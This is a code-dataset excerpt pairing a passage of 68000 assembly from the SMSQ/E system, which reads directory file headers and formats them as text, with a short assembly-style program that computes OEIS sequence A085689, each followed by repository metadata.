moveq #0,d3 ; no files left in this chunk
move.w mdstk_d5+2(sp),d2 ; and number of files on it
bra.s fld_sfle
fld_sfll
cmp.w (a3),d0 ; correct file number?
beq.s fld_flfn ; yes, read its header
add.w #fl.dirln,a3 ; no, point to next data area
fld_sfle
subq.w #1,d2 ; we've done a file
bmi.s fld_nofl ; no more, file wasn't matched
dbra d3,fld_sfll ; do next file in this chunk
move.l (a0),a0 ; no more, next chunk
moveq #9,d3 ; it has up to 10 files left
lea 4+fl_data(a0),a3 ; point to first data area
bra.s fld_sfll
*
fld_flfn
move.w (a4),d1 ; length of source drive name
addq.w #2,d1 ; add drive number and underscore
lea mt_file+2(a5),a1 ; where to put full name
move.l mt_source(a5),a0 ; get pointer to source pattern
addq.l #2,a0 ; point to characters in it
bra.s fld_cpde
fld_cpdl
move.b (a0)+,(a1)+ ; copy part of drive name
fld_cpde
dbra d1,fld_cpdl
*
lea hdr_name-fl_data(a3),a0 ; then the filename
move.w (a0)+,d1 ; the name is this long
bra.s fld_cpfe
fld_cpfl
move.b (a0)+,(a1)+
fld_cpfe
dbra d1,fld_cpfl
*
lea mt_file+2(a5),a0 ; point to start of string again
sub.l a0,a1 ; it's this long now
move.w a1,-(a0) ; fill in length and point to it
*
moveq #myself,d1 ; for me
moveq #ioa.kshr,d3 ; share it
moveq #ioa.open,d0
trap #do.ioa ; open the file
*
lea hdr_flen-fl_data(a3),a1 ; read header to here
moveq #hdr.len,d2 ; all of it
moveq #-1,d3
moveq #iof.rhdr,d0
trap #do.io ; read the header
add.l #hdr.len,hdr_flen-fl_data(a3) ; unfix length
move.w #-1,(a3) ; flag header read
*
moveq #ioa.clos,d0
trap #do.ioa ; and close the file again
*
sub.w #8*2,d6 ; next block must be >8 away
subq.w #1,d5 ; one fewer to do
beq.s fld_nmdv ; which makes no more
*
fld_nofl
subq.w #2,d6 ; previous map entry is next on medium
bpl.s fld_cdun ; positive
add.w d4,d6 ; negative, start again at end of map
fld_cdun
bra fld_ffnl ; go round again
*
fld_nmdv
movem.l (sp)+,mdvreg
page
*
* Now we can convert the binary data in the headers to an ASCII
* string in the data area.
*
fld_cnvd
lea mt_flist(a5),a4 ; point to file list
moveq #0,d6 ; no files left in this chunk
move.w d5,d4 ; and number of files on it
bra.s fld_cnve
fld_cnvl
bsr.s fld_mkdt ; make data string
add.w #fl.dirln,a3 ; point to next data area
fld_cnve
subq.w #1,d4 ; we've done a file
bmi.s fld_exok ; that's the lot
dbra d6,fld_cnvl ; do next file in this chunk
move.l (a4),a4 ; no more, next chunk
moveq #9,d6 ; it has up to 10 files left
lea 4+fl_data(a4),a3 ; point to first data area
bra.s fld_cnvl
*
* Error while reading directory
*
fld_exer
move.l mt_flist(a5),d4 ; point to list of chunks
move.l a0,a5 ; save channel ID
jsr fl_rmcks(pc) ; remove chunks
move.l a5,a0 ; restore channel
sub.l a5,a5 ; no list
moveq #0,d1 ; no files
bra.s fld_excl ; and close directory
*
* Come here when we've finished.
*
fld_exok
move.w d5,d1 ; return number of files found
move.l mt_flist(a5),a5 ; and pointer to the list
moveq #0,d0 ; success!
fld_excl
move.l d0,d4
moveq #ioa.clos,d0 ; always close the directory!
trap #do.ioa
move.l d4,d0 ; preserve an error
fld_exit
add.w #mt.frame,sp ; restore frame space
movem.l (sp)+,regdir ; and registers
rts
*
* Come here if we can't open the directory
*
fld_exnc
moveq #0,d1 ; no files
sub.l a5,a5 ; no pointer to them either
bra.s fld_exit
*
* Get a chunk of space for directory entries: 1k is enough for ten
* header+dest filename combinations, and a four byte pointer to the next
* such chunk.
*
* Registers:
* Entry Exit
* D0 error code
* D4 number of filenames in chunk
* A1 end of current chunk start of new chunk
* A4 start of current chunk start of new chunk
*
spcreg reg a0
*
fl_gtspc
movem.l spcreg,-(sp)
move.l #10*fl.dirln+4,d0 ; get space for ten filenames and data
jsr qr_alch0(pc) ; for myself
bne.s flg_exit ; ...oops
move.l a0,(a4) ; link chunk into chain
lea 4(a0),a1 ; leave space for link pointer
move.l a0,a4 ; point to next link
moveq #9,d4 ; space now for ten filenames
moveq #0,d0
*
flg_exit
movem.l (sp)+,spcreg
rts
*
* Fill in the data area
*
* Registers:
* Entry Exit
* D0-D3 smashed
* A1/A2 smashed
* A3 ^ data string preserved
*
fld_mkdt
lea 4+22(a3),a1 ; put date a little way in
sub.l a6,a1 ; relative to A6
move.l hdr_date-fl_data(a3),d1 ; get date
move.w cn.date,a2 ; and convert it
jsr (a2)
add.l a6,a1 ; point back at date
move.l $12(a3),$2(a3) ; copy time
move.b $16(a3),$6(a3)
move.b #' ',$7(a3)
*
move.l $08(a3),d0 ; keep year
move.l $0e(a3),d1 ; get date
lsr.l #8,d1 ; shift to lsw
move.w d1,$8(a3) ; fill it in
*
move.b #' ',d0
ror.l #8,d0 ; make ' yy '
move.l d0,$0e(a3) ; fill that in
*
* Now get the type
*
moveq #'0',d0
add.b hdr_type-fl_data(a3),d0 ; get type as a character
move.b d0,$12(a3)
move.b #' ',$13(a3) ; follow it with a space
*
* Convert the length
*
moveq #9,d0 ; ten digits to go, suppress 0's
lea $13(a3),a1 ; point to where they go
lea sub_dat(pc),a2 ; things to subtract
moveq #-hdr_end,d1 ; less header...
add.l hdr_flen-fl_data(a3),d1 ; ...length to convert
cnv_loop
move.l (a2)+,d2 ; something to subtract
moveq #0,d3 ; digit is zero
sub_num
sub.l d2,d1 ; knock off 10^n
bmi.s end_sub ; too far
addq.b #1,d3 ; digit is one more
bra.s sub_num
end_sub
add.l d2,d1 ; restore remainder
tst.b d3 ; is digit 0?
bne.s add_0 ; no, can't suppress it then!
tst.w d0 ; last digit?
beq.s add_0 ; mustn't suppress that either!
tst.l d0 ; suppressing 0's?
bmi.s add_0 ; no
moveq #' ',d3 ; yes, use space instead
bra.s fill_dig
add_0
add.b #'0',d3
bset #31,d0 ; cancel zero suppression
fill_dig
move.b d3,(a1)+
dbra d0,cnv_loop
*
move.w #28,(a3) ; fill in length
rts
*
* Table of powers of 10
*
sub_dat
dc.l 1000000000
dc.l 100000000
dc.l 10000000
dc.l 1000000
dc.l 100000
dc.l 10000
dc.l 1000
dc.l 100
dc.l 10
dc.l 1
*
end
| 27.120192 | 74 | 0.679224 | [
"BSD-2-Clause"
] | olifink/smsqe | util/gut/mkdir.asm | 11,282 | Assembly |
; A085689: a(1) = 4; a(n) = if n == 2 mod 3 then a(n-1)/2, if n == 0 mod 3 then a(n-1)*2, if n == 1 mod 3 then a(n-1)*3.
; 4,2,4,12,6,12,36,18,36,108,54,108,324,162,324,972,486,972,2916,1458,2916,8748,4374,8748,26244,13122,26244,78732,39366,78732,236196,118098,236196,708588,354294,708588,2125764,1062882,2125764,6377292,3188646,6377292,19131876
mov $2,1
lpb $0
sub $0,3
mul $2,3
lpe
gcd $0,2
add $3,$2
mul $0,$3
mul $0,2
| 32.846154 | 224 | 0.660422 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/085/A085689.asm | 427 | Assembly |